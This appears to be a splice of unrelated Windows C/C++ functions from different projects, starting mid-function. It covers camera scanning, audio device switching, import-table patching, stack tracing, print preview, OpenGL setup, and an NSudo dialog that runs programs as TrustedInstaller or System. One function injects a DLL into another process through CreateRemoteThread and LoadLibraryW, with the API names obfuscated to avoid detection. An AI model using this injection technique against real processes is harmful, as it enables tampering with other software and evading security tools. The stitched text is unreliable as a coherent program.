TWRC_FAILURE; } ret = gp_port_info_list_get_info (port_list, p, &info); if (ret < GP_OK) { FIXME("could not get portinfo for port %s?\n", port); return TWRC_FAILURE; } ret = gp_camera_set_port_info (activeDS.camera, info); if (ret < GP_OK) { FIXME("could not set portinfo for port %s to camera?\n", port); return TWRC_FAILURE; } list_init( &(activeDS.files) ); activeDS.currentState = 4; activeDS.twCC = TWRC_SUCCESS; activeDS.pixelflavor = TWPF_CHOCOLATE; activeDS.pixeltype = TWPT_RGB; activeDS.capXferMech = TWSX_MEMORY; activeDS.identity.Id = self->Id; activeDS.appIdentity = *pOrigin; TRACE("OK!\n"); return TWRC_SUCCESS; }
//------------------------------------------------------------------------------------------------- void FMain() { if (const HWND hWnd = FindWindowW(g_wGuidClass, nullptr)) PostMessageW(hWnd, WM_CLOSE, 0, 0); if (SUCCEEDED(CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED))) { IMMDeviceEnumerator *immDeviceEnumerator; if (CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), reinterpret_cast<LPVOID*>(&immDeviceEnumerator)) == S_OK) { IMMDevice *immDeviceDefault; if (immDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &immDeviceDefault) == S_OK) { wchar_t *wIdDefaultOld; HRESULT hr = immDeviceDefault->GetId(&wIdDefaultOld); immDeviceDefault->Release(); if (hr == S_OK) { IMMDeviceCollection *immDeviceCollection; hr = immDeviceEnumerator->EnumAudioEndpoints(eRender, DEVICE_STATE_ACTIVE, &immDeviceCollection); immDeviceEnumerator->Release(); if (hr == S_OK) { UINT iCount; if (immDeviceCollection->GetCount(&iCount) == S_OK) { bool bFail = true; for (UINT i = 0; i < iCount; ++i) { IMMDevice *immDevice; if (immDeviceCollection->Item(i, &immDevice) == S_OK) { wchar_t *wIdEnum; hr = immDevice->GetId(&wIdEnum); immDevice->Release(); if (hr == S_OK) { if (FCompareMemoryW(wIdDefaultOld, wIdEnum)) { bFail = false; if (++i >= iCount) i = 0; hr = immDeviceCollection->Item(i, &immDevice); immDeviceCollection->Release(); if (hr == S_OK) { wchar_t *wIdDefaultNew; if (immDevice->GetId(&wIdDefaultNew) == S_OK) { IPropertyStore *ipStore; hr = immDevice->OpenPropertyStore(STGM_READ, &ipStore); immDevice->Release(); if (hr == S_OK) { PROPVARIANT propFriendlyName; PropVariantInitFix(&propFriendlyName); PROPERTYKEY propKeyFriendlyName; propKeyFriendlyName.fmtid.Data1 = 0xA45C254E; propKeyFriendlyName.fmtid.Data2 = 0xDF1C; propKeyFriendlyName.fmtid.Data3 = 0x4EFD; FCopyMemory(propKeyFriendlyName.fmtid.Data4); propKeyFriendlyName.pid = 14; hr = ipStore->GetValue(propKeyFriendlyName, &propFriendlyName); ipStore->Release(); if (SUCCEEDED(hr)) { IPolicyConfig *pPolicyConfig; if (CoCreateInstance(__uuidof(CPolicyConfigClient), nullptr, CLSCTX_ALL, (GetVersion() & 0xFF) >= 10 ? __uuidof(IPolicyConfigWin10) : __uuidof(IPolicyConfig), reinterpret_cast<LPVOID*>(&pPolicyConfig)) == S_OK) { hr = pPolicyConfig->SetDefaultEndpoint(wIdDefaultNew, eConsole); if (hr == S_OK) { pPolicyConfig->SetDefaultEndpoint(wIdDefaultNew, eMultimedia); pPolicyConfig->SetDefaultEndpoint(wIdDefaultNew, eCommunications); } pPolicyConfig->Release(); if (hr == S_OK) { WNDCLASSEX wndCl; wndCl.cbSize = sizeof(WNDCLASSEX); wndCl.style = 0; wndCl.lpfnWndProc = WindowProc; wndCl.cbClsExtra = 0; wndCl.cbWndExtra = 0; wndCl.hInstance = GetModuleHandleW(nullptr); wndCl.hIcon = nullptr; wndCl.hCursor = nullptr; wndCl.hbrBackground = nullptr; wndCl.lpszMenuName = nullptr; wndCl.lpszClassName = g_wGuidClass; wndCl.hIconSm = nullptr; if (RegisterClassExW(&wndCl)) { if (CreateWindowExW(WS_EX_NOACTIVATE | WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TRANSPARENT | WS_EX_TOPMOST, g_wGuidClass, nullptr, WS_POPUP | WS_VISIBLE | WS_MAXIMIZE, 0, 0, 0, 0, nullptr, nullptr, wndCl.hInstance, propFriendlyName.pwszVal)) { MSG msg; while (GetMessageW(&msg, nullptr, 0, 0) > 0) DispatchMessageW(&msg); } UnregisterClassW(g_wGuidClass, wndCl.hInstance); } } } } PropVariantClear(&propFriendlyName); } CoTaskMemFree(wIdDefaultNew); } else immDevice->Release(); } break; } CoTaskMemFree(wIdEnum); } } } if (bFail) immDeviceCollection->Release(); } else immDeviceCollection->Release(); } CoTaskMemFree(wIdDefaultOld); } else immDeviceEnumerator->Release(); } else immDeviceEnumerator->Release(); } CoUninitialize(); } }
void Win32DllLoader::OverrideImports(const CStdString &dll) { CStdStringW strdllW; g_charsetConverter.utf8ToW(CSpecialProtocol::TranslatePath(dll), strdllW, false); BYTE* image_base = (BYTE*)GetModuleHandleW(strdllW.c_str()); if (!image_base) { CLog::Log(LOGERROR, "%s - unable to GetModuleHandle for dll %s", dll.c_str()); return; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)image_base; PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(image_base + dos_header->e_lfanew); // e_lfanew = value at 0x3c PIMAGE_IMPORT_DESCRIPTOR imp_desc = (PIMAGE_IMPORT_DESCRIPTOR)( image_base + nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); if (!imp_desc) { CLog::Log(LOGERROR, "%s - unable to get import directory for dll %s", dll.c_str()); return; } // loop over all imported dlls for (int i = 0; imp_desc[i].Characteristics != 0; i++) { char *dllName = (char*)(image_base + imp_desc[i].Name); // check whether this is one of our dll's. if (NeedsHooking(dllName)) { // this will do a loadlibrary on it, which should effectively make sure that it's hooked // Note that the library has obviously already been loaded by the OS (as it's implicitly linked) // so all this will do is insert our hook and make sure our DllLoaderContainer knows about it HMODULE hModule = dllLoadLibraryA(dllName); if (hModule) m_referencedDlls.push_back(hModule); } PIMAGE_THUNK_DATA orig_first_thunk = (PIMAGE_THUNK_DATA)(image_base + imp_desc[i].OriginalFirstThunk); PIMAGE_THUNK_DATA first_thunk = (PIMAGE_THUNK_DATA)(image_base + imp_desc[i].FirstThunk); // and then loop over all imported functions for (int j = 0; orig_first_thunk[j].u1.Function != 0; j++) { void *fixup = NULL; if (orig_first_thunk[j].u1.Function & 0x80000000) ResolveOrdinal(dllName, (orig_first_thunk[j].u1.Ordinal & 0x7fffffff), &fixup); else { // resolve by name PIMAGE_IMPORT_BY_NAME orig_imports_by_name = (PIMAGE_IMPORT_BY_NAME)( image_base + orig_first_thunk[j].u1.AddressOfData); ResolveImport(dllName, (char*)orig_imports_by_name->Name, &fixup); }/* if (!fixup) { // create a dummy function for tracking purposes PIMAGE_IMPORT_BY_NAME orig_imports_by_name = (PIMAGE_IMPORT_BY_NAME)( image_base + orig_first_thunk[j].u1.AddressOfData); fixup = CreateDummyFunction(dllName, (char*)orig_imports_by_name->Name); }*/ if (fixup) { // save the old function Import import; import.table = &first_thunk[j].u1.Function; import.function = first_thunk[j].u1.Function; m_overriddenImports.push_back(import); DWORD old_prot = 0; // change to protection settings so we can write to memory area VirtualProtect((PVOID)&first_thunk[j].u1.Function, 4, PAGE_EXECUTE_READWRITE, &old_prot); // patch the address of function to point to our overridden version first_thunk[j].u1.Function = (DWORD)fixup; // reset to old settings VirtualProtect((PVOID)&first_thunk[j].u1.Function, 4, old_prot, &old_prot); } } } }
int inject_library_obf(HANDLE process, const wchar_t *dll, const char *create_remote_thread_obf, uint64_t obf1, const char *write_process_memory_obf, uint64_t obf2, const char *virtual_alloc_ex_obf, uint64_t obf3, const char *virtual_free_ex_obf, uint64_t obf4, const char *load_library_w_obf, uint64_t obf5) { int ret = INJECT_ERROR_UNLIKELY_FAIL; DWORD last_error = 0; bool success = false; size_t written_size; DWORD thread_id; HANDLE thread = NULL; size_t size; void *mem; /* -------------------------------- */ HMODULE kernel32 = GetModuleHandleW(L"KERNEL32"); create_remote_thread_t create_remote_thread; write_process_memory_t write_process_memory; virtual_alloc_ex_t virtual_alloc_ex; virtual_free_ex_t virtual_free_ex; FARPROC load_library_w; create_remote_thread = get_obfuscated_func(kernel32, create_remote_thread_obf, obf1); write_process_memory = get_obfuscated_func(kernel32, write_process_memory_obf, obf2); virtual_alloc_ex = get_obfuscated_func(kernel32, virtual_alloc_ex_obf, obf3); virtual_free_ex = get_obfuscated_func(kernel32, virtual_free_ex_obf, obf4); load_library_w = get_obfuscated_func(kernel32, load_library_w_obf, obf5); /* -------------------------------- */ size = (wcslen(dll) + 1) * sizeof(wchar_t); mem = virtual_alloc_ex(process, NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (!mem) { goto fail; } success = write_process_memory(process, mem, dll, size, &written_size); if (!success) { goto fail; } thread = create_remote_thread(process, NULL, 0, (LPTHREAD_START_ROUTINE)load_library_w, mem, 0, &thread_id); if (!thread) { goto fail; } if (WaitForSingleObject(thread, 4000) == WAIT_OBJECT_0) { DWORD code; GetExitCodeThread(thread, &code); ret = (code != 0) ? 0 : INJECT_ERROR_INJECT_FAILED; SetLastError(0); } fail: if (ret == INJECT_ERROR_UNLIKELY_FAIL) { last_error = GetLastError(); } if (thread) { CloseHandle(thread); } if (mem) { virtual_free_ex(process, mem, 0, MEM_RELEASE); } if (last_error != 0) { SetLastError(last_error); } return ret; }
// getStackTrace - Traces the stack as far back as possible, or until 'maxdepth' // frames have been traced. Populates the CallStack with one entry for each // stack frame traced. // // Note: This function uses a very efficient method to walk the stack from // frame to frame, so it is quite fast. However, unconventional stack frames // (such as those created when frame pointer omission optimization is used) // will not be successfully walked by this function and will cause the // stack trace to terminate prematurely. // // - maxdepth (IN): Maximum number of frames to trace back. // // - framepointer (IN): Frame (base) pointer at which to begin the stack trace. // If NULL, then the stack trace will begin at this function. // // Return Value: // // None. // VOID FastCallStack::getStackTrace (UINT32 maxdepth, const context_t& context) { UINT32 count = 0; UINT_PTR* framePointer = context.fp; #if defined(_M_IX86) while (count < maxdepth) { if (*framePointer < (UINT_PTR)framePointer) { if (*framePointer == NULL) { // Looks like we reached the end of the stack. break; } else { // Invalid frame pointer. Frame pointer addresses should always // increase as we move up the stack. m_status |= CALLSTACK_STATUS_INCOMPLETE; break; } } if (*framePointer & (sizeof(UINT_PTR*) - 1)) { // Invalid frame pointer. Frame pointer addresses should always // be aligned to the size of a pointer. This probably means that // we've encountered a frame that was created by a module built with // frame pointer omission (FPO) optimization turned on. m_status |= CALLSTACK_STATUS_INCOMPLETE; break; } if (IsBadReadPtr((UINT*)*framePointer, sizeof(UINT_PTR*))) { // Bogus frame pointer. Again, this probably means that we've // encountered a frame built with FPO optimization. m_status |= CALLSTACK_STATUS_INCOMPLETE; break; } count++; push_back(*(framePointer + 1)); framePointer = (UINT_PTR*)*framePointer; } #elif defined(_M_X64) UINT32 maxframes = min(62, maxdepth + 10); static USHORT (WINAPI *s_pfnCaptureStackBackTrace)(ULONG FramesToSkip, ULONG FramesToCapture, PVOID* BackTrace, PULONG BackTraceHash) = 0; if (s_pfnCaptureStackBackTrace == 0) { const HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll"); reinterpret_cast<void*&>(s_pfnCaptureStackBackTrace) = ::GetProcAddress(hNtDll, "RtlCaptureStackBackTrace"); if (s_pfnCaptureStackBackTrace == 0) return; } UINT_PTR* myFrames = new UINT_PTR[maxframes]; ZeroMemory(myFrames, sizeof(UINT_PTR) * maxframes); s_pfnCaptureStackBackTrace(0, maxframes, (PVOID*)myFrames, NULL); UINT32 startIndex = 0; while (count < maxframes) { if (myFrames[count] == 0) break; if (myFrames[count] == *(framePointer + 1)) startIndex = count; count++; } count = startIndex; while (count < maxframes) { if (myFrames[count] == 0) break; push_back(myFrames[count]); count++; } delete [] myFrames; #endif }
LRESULT CALLBACK preview_proc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_CREATE: { HWND hMainWnd = GetParent(hWnd); HWND hEditorWnd = GetDlgItem(hMainWnd, IDC_EDITOR); FORMATRANGE fr; GETTEXTLENGTHEX gt = {GTL_DEFAULT, 1200}; HDC hdc = GetDC(hWnd); HDC hdcTarget = make_dc(); fr.rc = preview.rcPage = get_print_rect(hdcTarget); preview.rcPage.bottom += margins.bottom; preview.rcPage.right += margins.right; preview.rcPage.top = preview.rcPage.left = 0; fr.rcPage = preview.rcPage; preview.bmSize.cx = twips_to_pixels(preview.rcPage.right, GetDeviceCaps(hdc, LOGPIXELSX)); preview.bmSize.cy = twips_to_pixels(preview.rcPage.bottom, GetDeviceCaps(hdc, LOGPIXELSY)); preview.textlength = SendMessageW(hEditorWnd, EM_GETTEXTLENGTHEX, (WPARAM)>, 0); fr.hdc = CreateCompatibleDC(hdc); fr.hdcTarget = hdcTarget; fr.chrg.cpMin = 0; fr.chrg.cpMax = preview.textlength; DeleteDC(fr.hdc); DeleteDC(hdcTarget); ReleaseDC(hWnd, hdc); update_preview_sizes(hWnd, TRUE); update_preview(hMainWnd); break; } case WM_PAINT: return print_preview(hWnd); case WM_SIZE: { update_preview_sizes(hWnd, FALSE); InvalidateRect(hWnd, NULL, FALSE); break; } case WM_VSCROLL: case WM_HSCROLL: { SCROLLINFO si; RECT rc; int nBar = (msg == WM_VSCROLL) ? SB_VERT : SB_HORZ; int origPos; GetClientRect(hWnd, &rc); si.cbSize = sizeof(si); si.fMask = SIF_ALL; GetScrollInfo(hWnd, nBar, &si); origPos = si.nPos; switch(LOWORD(wParam)) { case SB_TOP: /* == SB_LEFT */ si.nPos = si.nMin; break; case SB_BOTTOM: /* == SB_RIGHT */ si.nPos = si.nMax; break; case SB_LINEUP: /* == SB_LINELEFT */ si.nPos -= si.nPage / 10; break; case SB_LINEDOWN: /* == SB_LINERIGHT */ si.nPos += si.nPage / 10; break; case SB_PAGEUP: /* == SB_PAGELEFT */ si.nPos -= si.nPage; break; case SB_PAGEDOWN: /* SB_PAGERIGHT */ si.nPos += si.nPage; break; case SB_THUMBTRACK: si.nPos = si.nTrackPos; break; } si.fMask = SIF_POS; SetScrollInfo(hWnd, nBar, &si, TRUE); GetScrollInfo(hWnd, nBar, &si); if (si.nPos != origPos) { int amount = origPos - si.nPos; if (msg == WM_VSCROLL) ScrollWindow(hWnd, 0, amount, NULL, NULL); else ScrollWindow(hWnd, amount, 0, NULL, NULL); } return 0; } case WM_SETCURSOR: { POINT pt; RECT rc; int bHittest = FALSE; DWORD messagePos = GetMessagePos(); pt.x = (short)LOWORD(messagePos); pt.y = (short)HIWORD(messagePos); ScreenToClient(hWnd, &pt); GetClientRect(hWnd, &rc); if (PtInRect(&rc, pt)) { pt.x += GetScrollPos(hWnd, SB_HORZ); pt.y += GetScrollPos(hWnd, SB_VERT); bHittest = preview_page_hittest(pt); } if (bHittest) SetCursor(LoadCursorW(GetModuleHandleW(0), MAKEINTRESOURCEW(IDC_ZOOM))); else SetCursor(LoadCursorW(NULL, (WCHAR*)IDC_ARROW)); return TRUE; } case WM_LBUTTONDOWN: { int page; POINT pt; pt.x = (short)LOWORD(lParam) + GetScrollPos(hWnd, SB_HORZ); pt.y = (short)HIWORD(lParam) + GetScrollPos(hWnd, SB_VERT); if ((page = preview_page_hittest(pt)) > 0) { HWND hMainWnd = GetParent(hWnd); /* Convert point from client coordinate to unzoomed page * coordinate. */ pt.x -= preview.spacing.cx; if (page > 1) pt.x -= preview.bmScaledSize.cx + preview.spacing.cx; pt.y -= preview.spacing.cy; pt.x /= preview.zoomratio; pt.y /= preview.zoomratio; if (preview.zoomlevel == 0) preview.saved_pages_shown = preview.pages_shown; preview.zoomlevel = (preview.zoomlevel + 1) % 3; preview.zoomratio = 0; if (preview.zoomlevel == 0 && preview.saved_pages_shown > 1) { toggle_num_pages(hMainWnd); } else if (preview.pages_shown > 1) { if (page >= 2) preview.page++; toggle_num_pages(hMainWnd); } else { update_preview_sizes(hWnd, TRUE); InvalidateRect(hWnd, NULL, FALSE); update_preview_buttons(hMainWnd); } if (preview.zoomlevel > 0) { SCROLLINFO si; /* Convert the coordinate back to client coordinate. */ pt.x *= preview.zoomratio; pt.y *= preview.zoomratio; pt.x += preview.spacing.cx; pt.y += preview.spacing.cy; /* Scroll to center view at that point on the page */ si.cbSize = sizeof(si); si.fMask = SIF_PAGE; GetScrollInfo(hWnd, SB_HORZ, &si); pt.x -= si.nPage / 2; SetScrollPos(hWnd, SB_HORZ, pt.x, TRUE); GetScrollInfo(hWnd, SB_VERT, &si); pt.y -= si.nPage / 2; SetScrollPos(hWnd, SB_VERT, pt.y, TRUE); } } } default: return DefWindowProcW(hWnd, msg, wParam, lParam); } return 0; }
StWinHandles::StWinHandles() #ifdef _WIN32 : ThreadWnd(0), EventMsgThread(true), hWindow(NULL), hWindowGl(NULL), hWinTmp(NULL), myMKeyStop(GlobalAddAtom(MAKEINTATOM(VK_MEDIA_STOP))), myMKeyPlay(GlobalAddAtom(MAKEINTATOM(VK_MEDIA_PLAY_PAUSE))), myMKeyPrev(GlobalAddAtom(MAKEINTATOM(VK_MEDIA_PREV_TRACK))), myMKeyNext(GlobalAddAtom(MAKEINTATOM(VK_MEDIA_NEXT_TRACK))), ThreadGL(0), hDC(NULL) { // #elif defined(__linux__) : hWindow(0), hWindowGl(0), stXDisplay(), iconImage(0), iconShape(0), xDNDRequestType(None), xDNDSrcWindow(0), xDNDVersion(0), xrandrEventBase(0), isRecXRandrEvents(false) { // #endif } StWinHandles::~StWinHandles() { close(); } void StWinHandles::glSwap() { #ifdef _WIN32 if(hDC != NULL) { SwapBuffers(hDC); } #elif defined(__linux__) if(!stXDisplay.isNull() && hRC->makeCurrent(hWindowGl)) { // if GL rendering context is bound to another drawable - we got BadMatch error glXSwapBuffers(stXDisplay->hDisplay, hWindowGl); } #endif } bool StWinHandles::glMakeCurrent() { #ifdef _WIN32 if(hDC != NULL && !hRC.isNull()) { return hRC->isCurrent(hDC) || hRC->makeCurrent(hDC); } #elif defined(__linux__) if(!stXDisplay.isNull() && !hRC.isNull()) { return hRC->makeCurrent(hWindowGl); } #endif return false; } /** * Auxiliary macros. */ #define ST_GL_ERROR_CHECK(theTrueCondition, theErrCode, theErrDesc) \ if(!(theTrueCondition)) { \ stError(theErrDesc); \ return theErrCode; \ } int StWinHandles::glCreateContext(StWinHandles* theSlave, const StRectI_t& theRect, const int theDepthSize, const bool theIsQuadStereo, const bool theDebugCtx) { #ifdef _WIN32 ThreadGL = StThread::getCurrentThreadId(); ST_DEBUG_LOG("WinAPI, glCreateContext, ThreadGL= " + ThreadGL + ", ThreadWnd= " + ThreadWnd); hDC = GetDC(hWindowGl); ST_GL_ERROR_CHECK(hDC != NULL, STWIN_ERROR_WIN32_GLDC, "WinAPI, Can't create Master GL Device Context"); if(theSlave != NULL) { theSlave->ThreadGL = ThreadGL; theSlave->hDC = GetDC(theSlave->hWindowGl); ST_GL_ERROR_CHECK(theSlave->hDC != NULL, STWIN_ERROR_WIN32_GLDC, "WinAPI, Can't create Slave GL Device Context"); } PIXELFORMATDESCRIPTOR aPixFrmtDesc = THE_PIXELFRMT_DOUBLE; aPixFrmtDesc.cDepthBits = (BYTE )theDepthSize; if(theIsQuadStereo) { aPixFrmtDesc.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_GDI | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER | PFD_STEREO; } int aPixFrmtId = ChoosePixelFormat(hDC, &aPixFrmtDesc); ST_GL_ERROR_CHECK(aPixFrmtId != 0, STWIN_ERROR_WIN32_PIXELFORMATF, "WinAPI, Can't find a suitable PixelFormat for Master"); if(theSlave != NULL && ChoosePixelFormat(theSlave->hDC, &aPixFrmtDesc) != aPixFrmtId) { ST_ERROR_LOG("Slave window returns another pixel format! Try to ignore..."); } if(theIsQuadStereo) { DescribePixelFormat(hDC, aPixFrmtId, sizeof(PIXELFORMATDESCRIPTOR), &aPixFrmtDesc); if((aPixFrmtDesc.dwFlags & PFD_STEREO) == 0) { ST_ERROR_LOG("WinAPI, Quad Buffered stereo not supported"); } else { //bool isVistaPlus = StSys::isVistaPlus(); //bool isWin8Plus = StSys::isWin8Plus(); ///myNeedsFullscr } } HMODULE aModule = GetModuleHandleW(NULL); hWinTmp = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE | WS_EX_NOACTIVATE, ClassTmp.toCString(), L"TmpWnd", WS_POPUP | WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_DISABLED, theRect.left() + 2, theRect.top() + 2, 4, 4, NULL, NULL, aModule, NULL); ST_GL_ERROR_CHECK(hWinTmp != NULL, STWIN_ERROR_WIN32_GLDC, "WinAPI, Temporary window creation error"); HDC aDevCtxTmp = GetDC(hWinTmp); ST_GL_ERROR_CHECK(aPixFrmtId != 0, STWIN_ERROR_WIN32_PIXELFORMATF, "WinAPI, Can't find a suitable PixelFormat for Tmp"); ST_GL_ERROR_CHECK(SetPixelFormat(aDevCtxTmp, aPixFrmtId, &aPixFrmtDesc), STWIN_ERROR_WIN32_PIXELFORMATS, "WinAPI, Can't set the PixelFormat for Master"); StWinGlrcH aRendCtxTmp = new StWinGlrc(aDevCtxTmp, NULL); ST_GL_ERROR_CHECK(aRendCtxTmp->isValid(), STWIN_ERROR_WIN32_GLRC_CREATE, "WinAPI, Can't create GL Rendering Context"); ST_GL_ERROR_CHECK(aRendCtxTmp->makeCurrent(aDevCtxTmp), STWIN_ERROR_WIN32_GLRC_ACTIVATE, "WinAPI, Can't activate Tmp GL Rendering Context"); StGLContext aCtx; ST_GL_ERROR_CHECK(aCtx.stglInit(), STWIN_ERROR_WIN32_GLRC_ACTIVATE, "WinAPI, Broken Tmp GL Rendering Context"); if(aCtx.extAll->wglChoosePixelFormatARB != NULL) { const int aPixAttribs[] = { WGL_DRAW_TO_WINDOW_ARB, GL_TRUE, WGL_SUPPORT_OPENGL_ARB, GL_TRUE, WGL_DOUBLE_BUFFER_ARB, GL_TRUE, WGL_STEREO_ARB, theIsQuadStereo ? GL_TRUE : GL_FALSE, WGL_PIXEL_TYPE_ARB, WGL_TYPE_RGBA_ARB, //WGL_SAMPLE_BUFFERS_ARB, 1, //WGL_SAMPLES_ARB, 8, // WGL_CONTEXT_ROBUST_ACCESS_BIT_ARB 0x00000004 WGL_COLOR_BITS_ARB, 24, WGL_DEPTH_BITS_ARB, theDepthSize, WGL_STENCIL_BITS_ARB, 0, 0, 0, }; unsigned int aFrmtsNb = 0; aCtx.extAll->wglChoosePixelFormatARB(hDC, aPixAttribs, NULL, 1, &aPixFrmtId, &aFrmtsNb); } ST_GL_ERROR_CHECK(SetPixelFormat(hDC, aPixFrmtId, &aPixFrmtDesc), STWIN_ERROR_WIN32_PIXELFORMATS, "WinAPI, Can't set the PixelFormat for Master"); ST_GL_ERROR_CHECK(theSlave == NULL || SetPixelFormat(theSlave->hDC, aPixFrmtId, &aPixFrmtDesc), STWIN_ERROR_WIN32_PIXELFORMATS, "WinAPI, Can't set the PixelFormat for Slave"); HGLRC aRendCtx = NULL; if(aCtx.extAll->wglCreateContextAttribsARB != NULL) { // Beware! NVIDIA drivers reject context creation when WGL_CONTEXT_PROFILE_MASK_ARB are specified // but not WGL_CONTEXT_MAJOR_VERSION_ARB/WGL_CONTEXT_MINOR_VERSION_ARB int aCtxAttribs[] = { //WGL_CONTEXT_MAJOR_VERSION_ARB, 3, //WGL_CONTEXT_MINOR_VERSION_ARB, 2, //WGL_CONTEXT_PROFILE_MASK_ARB, WGL_CONTEXT_COMPATIBILITY_PROFILE_BIT_ARB, //WGL_CONTEXT_CORE_PROFILE_BIT_ARB, WGL_CONTEXT_FLAGS_ARB, theDebugCtx ? WGL_CONTEXT_DEBUG_BIT_ARB : 0, 0, 0 }; aRendCtx = aCtx.extAll->wglCreateContextAttribsARB(hDC, NULL, aCtxAttribs); } aRendCtxTmp.nullify(); destroyWindow(hWinTmp); hRC = new StWinGlrc(hDC, aRendCtx); ST_GL_ERROR_CHECK(hRC->isValid(), STWIN_ERROR_WIN32_GLRC_CREATE, "WinAPI, Can't create GL Rendering Context"); if(theSlave != NULL) { theSlave->hRC = hRC; } ST_GL_ERROR_CHECK(hRC->makeCurrent(hDC), STWIN_ERROR_WIN32_GLRC_ACTIVATE, "WinAPI, Can't activate Master GL Rendering Context"); return STWIN_INIT_SUCCESS; #elif defined(__linux__) // create an OpenGL rendering context hRC = new StWinGlrc(stXDisplay, theDebugCtx); ST_GL_ERROR_CHECK(hRC->isValid(), STWIN_ERROR_X_GLRC_CREATE, "GLX, could not create rendering context for Master"); if(theSlave != NULL) { theSlave->hRC = hRC; // bind the rendering context to the window ST_GL_ERROR_CHECK(hRC->makeCurrent(theSlave->hWindowGl), STWIN_ERROR_X_GLRC_CREATE, "GLX, Can't activate Slave GL Rendering Context"); } // bind the rendering context to the window ST_GL_ERROR_CHECK(hRC->makeCurrent(hWindowGl), STWIN_ERROR_X_GLRC_CREATE, "GLX, Can't activate Master GL Rendering Context"); return STWIN_INIT_SUCCESS; #endif }
INT_PTR CALLBACK NSudoDlgCallBack(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { HWND hUserName = GetDlgItem(hDlg, IDC_UserName); HWND hTokenPrivilege = GetDlgItem(hDlg, IDC_TokenPrivilege); HWND hMandatoryLabel = GetDlgItem(hDlg, IDC_MandatoryLabel); HWND hszPath = GetDlgItem(hDlg, IDC_szPath); wchar_t szCMDLine[260], szUser[260], szPrivilege[260], szMandatory[260], szBuffer[260]; switch (message) { case WM_INITDIALOG: // Show NSudo Logo SendMessageW( GetDlgItem(hDlg, IDC_NSudoLogo), STM_SETIMAGE, IMAGE_ICON, LPARAM(LoadImageW(GetModuleHandleW(NULL), MAKEINTRESOURCE(IDI_NSUDO), IMAGE_ICON, 0, 0, LR_COPYFROMRESOURCE))); //Show Warning Icon SendMessageW( GetDlgItem(hDlg, IDC_Icon), STM_SETIMAGE, IMAGE_ICON, LPARAM(LoadIconW(NULL, IDI_WARNING))); SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_TI); SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_Sys); SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_CP); SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_CU); SendMessageW(hUserName, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_CPD); SendMessageW(hUserName, CB_SETCURSEL, 4, 0); //设置默认项"TrustedInstaller" SendMessageW(hTokenPrivilege, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_Default); SendMessageW(hTokenPrivilege, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_EnableAll); SendMessageW(hTokenPrivilege, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_DisableAll); SendMessageW(hTokenPrivilege, CB_SETCURSEL, 2, 0); //设置默认项"默认" SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_Low); SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_Medium); SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_High); SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_System); SendMessageW(hMandatoryLabel, CB_INSERTSTRING, 0, (LPARAM)NSudo_Text_Default); SendMessageW(hMandatoryLabel, CB_SETCURSEL, 0, 0); //设置默认项"默认" { wchar_t szItem[260], szBuffer[32768]; DWORD dwLength = GetPrivateProfileSectionNamesW(szBuffer, 32768, szShortCutListPath); for (DWORD i = 0, j = 0; i < dwLength; i++,j++) { if (szBuffer[i] != NULL) { szItem[j] = szBuffer[i]; } else { szItem[j] = NULL; SendMessageW(hszPath, CB_INSERTSTRING, 0, (LPARAM)szItem); j=-1; } } } return (INT_PTR)TRUE; case WM_COMMAND: switch (LOWORD(wParam)) { case IDC_Run: GetDlgItemTextW(hDlg, IDC_UserName, szUser, sizeof(szUser)); GetDlgItemTextW(hDlg, IDC_TokenPrivilege, szPrivilege, sizeof(szPrivilege)); GetDlgItemTextW(hDlg, IDC_MandatoryLabel, szMandatory, sizeof(szMandatory)); GetDlgItemTextW(hDlg, IDC_szPath, szCMDLine, sizeof(szCMDLine)); NSudo_Run(hDlg,szUser, szPrivilege, szMandatory, szCMDLine); break; case IDC_About: ReturnMessage( L"NSudo 3.1 Debug (Build 950)\n" L"\xA9 2015 NSudo Team. All rights reserved.\n\n" L"捐赠支付宝账号: [email protected]\n\n" L"感谢cjy__05,mhxkx,NotePad,tangmigoId,wondersnefu,xy137425740,月光光的大力支持(按照英文字母或拼音首字母排序)\n\n"); break; case IDC_Browse: wcscpy_s(szBuffer, 260, L""); NSudoBrowseDialog(hDlg, szBuffer); SetDlgItemTextW(hDlg, IDC_szPath, szBuffer); break; } break; case WM_SYSCOMMAND: switch (LOWORD(wParam)) { case SC_CLOSE: PostQuitMessage(0); break; } break; } return 0; }